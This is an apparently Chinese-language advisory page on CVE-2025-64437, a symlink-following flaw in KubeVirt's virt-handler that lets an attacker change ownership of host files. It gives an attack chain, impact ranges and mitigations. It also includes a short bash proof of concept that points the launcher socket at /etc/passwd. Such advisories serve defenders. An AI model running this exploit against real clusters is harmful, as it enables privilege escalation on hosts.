CVE-2025-64437 KubeVirt virt-handler符号链接验证缺失导致本地权限提升

漏洞信息

漏洞编号

CVE-2025-64437

漏洞类型

符号链接攻击/路径遍历

CVSS评分

5.0 中危

攻击向量

本地 (AV:L)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

KubeVirt

漏洞概述

CVE-2025-64437是KubeVirt中的一个中等严重性安全漏洞。KubeVirt是Kubernetes的虚拟机管理扩展组件，允许在Kubernetes集群中运行虚拟机。该漏洞存在于virt-handler组件中，由于未验证launcher-sock文件是否为符号链接或常规文件，攻击者可以通过控制virt-launcher pod的文件系统，创建指向宿主机任意文件的符号链接，从而将目标文件的所有权更改给UID 107的virt-launcher低权限用户。这种符号链接跟随漏洞可能导致宿主机系统文件的机密性、完整性和可用性被破坏。攻击者需要具备virt-launcher pod的文件系统控制权限才能成功利用此漏洞。该漏洞已在KubeVirt 1.5.3和1.6.1版本中修复。

技术细节

KubeVirt的virt-handler组件在处理与virt-launcher pod通信的launcher-sock文件时存在安全缺陷。virt-handler使用该socket文件与运行中的虚拟机进行通信，但在执行文件操作前未验证socket路径的真实性。当virt-launcher pod被恶意控制时，攻击者可以创建符号链接将任意宿主机文件指向socket文件路径。virt-handler在后续操作中会跟随这些符号链接，对攻击者指定的目标文件执行所有权变更操作，将文件所有者更改为UID 107的virt-launcher用户。由于缺乏对符号链接的验证机制，攻击者可以利用此漏洞修改关键系统文件（如/etc/passwd、/etc/shadow等）的所有权，从而在宿主机上实现本地权限提升。漏洞的根本原因在于代码中使用了不安全的文件路径处理方式，未使用O_NOFOLLOW标志或类似的符号链接检测机制。

攻击链分析

STEP 1

步骤1

攻击者获得virt-launcher pod的文件系统控制权限，可以在pod内创建符号链接

STEP 2

步骤2

攻击者在virt-launcher pod内创建符号链接，将launcher-sock路径指向宿主机上的目标文件（如/etc/shadow）

STEP 3

步骤3

virt-handler组件尝试访问launcher-sock文件，由于未验证符号链接，会跟随链接指向目标文件

STEP 4

步骤4

virt-handler对目标文件执行所有权变更操作，将文件所有者更改为UID 107（virt-launcher用户）

STEP 5

步骤5

攻击者获得对目标文件的写权限，可进一步利用进行本地权限提升或数据篡改

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2025-64437 PoC - KubeVirt symlink exploitation
# This PoC demonstrates how to exploit the symlink vulnerability
# in KubeVirt's virt-handler to change ownership of arbitrary files

TARGET_FILE="/etc/passwd"  # Target file to change ownership
LAUNCHER_UID=107           # virt-launcher user UID
SOCKET_PATH="/var/run/kubevirt-private/$(hostname)/launch-sock"

# Step 1: Create a symlink from socket path to target file
echo "[*] Creating symlink: $SOCKET_PATH -> $TARGET_FILE"
ln -sf $TARGET_FILE $SOCKET_PATH

# Step 2: Wait for virt-handler to process the socket
echo "[*] Waiting for virt-handler to follow symlink..."
sleep 5

# Step 3: Verify if ownership was changed
echo "[*] Checking ownership of $TARGET_FILE"
ls -la $TARGET_FILE

# Expected result: File ownership changed to UID 107 (virt-launcher)
# This allows privilege escalation by making files writable by low-privilege user

影响范围

KubeVirt < 1.5.3

KubeVirt >= 1.6.0 AND < 1.6.1

防御指南

临时缓解措施

临时缓解措施：1) 实施严格的Pod安全策略，限制virt-launcher pod的文件系统写入权限；2) 使用Kubernetes网络策略隔离关键组件；3) 监控virt-launcher pod的文件系统变更行为；4) 对关键系统文件实施文件完整性监控（FIM）；5) 考虑使用seccomp和AppArmor/SELinux配置限制容器能力。最终修复方案为升级到KubeVirt 1.5.3或1.6.1版本。